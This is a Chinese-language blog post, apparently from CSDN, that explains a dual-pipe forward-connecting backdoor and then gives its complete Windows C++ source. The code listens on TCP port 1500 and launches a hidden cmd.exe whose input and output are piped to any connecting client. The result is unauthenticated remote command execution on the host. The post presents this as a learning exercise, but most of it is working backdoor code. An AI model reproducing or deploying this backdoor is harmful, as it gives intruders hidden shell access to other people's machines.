安全之路 —— 双管道正向连接型后门解析

简述

后门程序有两个重要的过程,分别是socket与cmd通信的过程和cmd结果回传给socket的过程。而双管道正向连接型后门是后门中最古老的一种,采用两个匿名管道,分别负责上述两个重要过程。其中正向连接的意思是后门充当Server端,然后用户使用telnet或netcat(nc)充当客户端连接工具,主动连接后门,这种连接方式具有被防火墙拦截的危险,所以一般不用于现代后门,但却是后门编程学习的必经之路。

  • 双管道图例
    双管道连接图例

C++代码样例

/*
*@Author: PeterZ
*@Time: 2018/2/19
*@Function: 双管道正向连接后门(Default_Port: 1500)
*/

#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <Windows.h>
#include <winsock.h>
#pragma comment(lib, "ws2_32.lib")

using namespace std;

#define MAX_CONNECT_NUM 255 //最大连接数

SOCKET g_sListen;
SOCKET g_sClient[MAX_CONNECT_NUM];
HANDLE g_hReadPipe, g_hWritePipe, g_hWriteFile, g_hReadFile;

DWORD WINAPI ThreadInputPipe(LPVOID lpParam) //从socket到cmd之间的数据管道
{
    SOCKET sTemp = (SOCKET)lpParam;
    SECURITY_ATTRIBUTES sa;
    DWORD dwByteToWrite, dwByteWritten;
    char recv_data[1024] = "\0";
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;
    CreatePipe(&g_hReadPipe, &g_hWriteFile, &sa, 0);
    Sleep(300);
    while (true)
    {
        dwByteToWrite = recv(sTemp, recv_data, 2048, 0); //建立管道
        if (dwByteToWrite != SOCKET_ERROR)
        {
            WriteFile(g_hWriteFile, recv_data, dwByteToWrite, &dwByteWritten, NULL); //向管道中写数据
            Sleep(100);
        }
    }
    return 0;
}

DWORD WINAPI ThreadOutputPipe(LPVOID lpParam)   //从cmd到socket之间的数据管道
{
    SOCKET sTemp = (SOCKET)lpParam;
    SECURITY_ATTRIBUTES sa;
    char send_buf[2048] = "\0";
    DWORD len = 0, dwTotalAvail = 0;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;
    CreatePipe(&g_hReadFile, &g_hWritePipe, &sa, 0);  //建立管道
    Sleep(300);
    while (true)
    {
        while (PeekNamedPipe(g_hReadFile, NULL, 0, NULL, &dwTotalAvail, NULL))
        {
            ReadFile(g_hReadFile, send_buf, 2048, &len, NULL); //从管道中读数据
            Sleep(100);
            send(sTemp, send_buf, len, 0);
        }
    }
    return 0;
}

DWORD WINAPI ThreadConnWork(LPVOID lpParam)  //多用户连接处理线程
{
    SOCKET sTemp = (SOCKET)lpParam;
    HANDLE hThread[2];
    DWORD dwThreadId1, dwThreadId2;
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    hThread[0] = CreateThread(NULL, 0, ThreadInputPipe, LPVOID(sTemp), 0, &dwThreadId1); //管道1线程建立
    hThread[1] = CreateThread(NULL, 0, ThreadOutputPipe, LPVOID(sTemp), 0, &dwThreadId2); //管道2线程建立
    Sleep(200);
    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdInput = g_hReadPipe;
    si.hStdOutput = g_hWritePipe;
    si.hStdError = g_hWritePipe;
    si.wShowWindow = SW_HIDE;
    char cmdline[255] = "\0";
    GetSystemDirectory(cmdline, sizeof(cmdline));
    strcat_s(cmdline, "\\cmd.exe");
    if (!CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) return 0;
    WaitForMultipleObjects(2, hThread, TRUE, INFINITE);
    return 0;
}

int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) //主函数
{
    const char *wMessage = "===================> Hello, Welcome to Server <====================\n===================> Prepare For the CMD: <====================\n";
    unsigned int conn_count = 0;
    HANDLE connThread[255];
    DWORD dwThreadConnId[255];
    BYTE btSocMajorVer = 2, btSocMinorVer = 2;
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(btSocMajorVer, btSocMinorVer), &wsaData)) return 0;
    g_sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (g_sListen == INVALID_SOCKET) return 0;
    sockaddr_in sin;
    sin.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(1500);
    if (bind(g_sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR) return 0;
    if (listen(g_sListen, 5) == SOCKET_ERROR) return 0;
    sockaddr_in csin;
    int len = sizeof(csin);
    for (conn_count = 0; conn_count < MAX_CONNECT_NUM; conn_count++) //多用户连接线程处理
    {
        g_sClient[conn_count] = accept(g_sListen, (LPSOCKADDR)&csin, &len);
        connThread[conn_count] = CreateThread(NULL, 0, ThreadConnWork, LPVOID(g_sClient[conn_count]), 0, &dwThreadConnId[conn_count]);
        send(g_sClient[conn_count], wMessage, strlen(wMessage), 0);
    }
    WaitForMultipleObjects(conn_count, connThread, true, INFINITE);
    for (unsigned int i = 0; i < conn_count; i++)
    {
        closesocket(g_sClient[i]);
    }
    closesocket(g_sListen);
    CloseHandle(g_hReadFile);
    CloseHandle(g_hReadPipe);
    CloseHandle(g_hWriteFile);
    CloseHandle(g_hWritePipe);
    WSACleanup();
    return 0;
}

猜你喜欢

转载自blog.csdn.net/peterz1997/article/details/79337116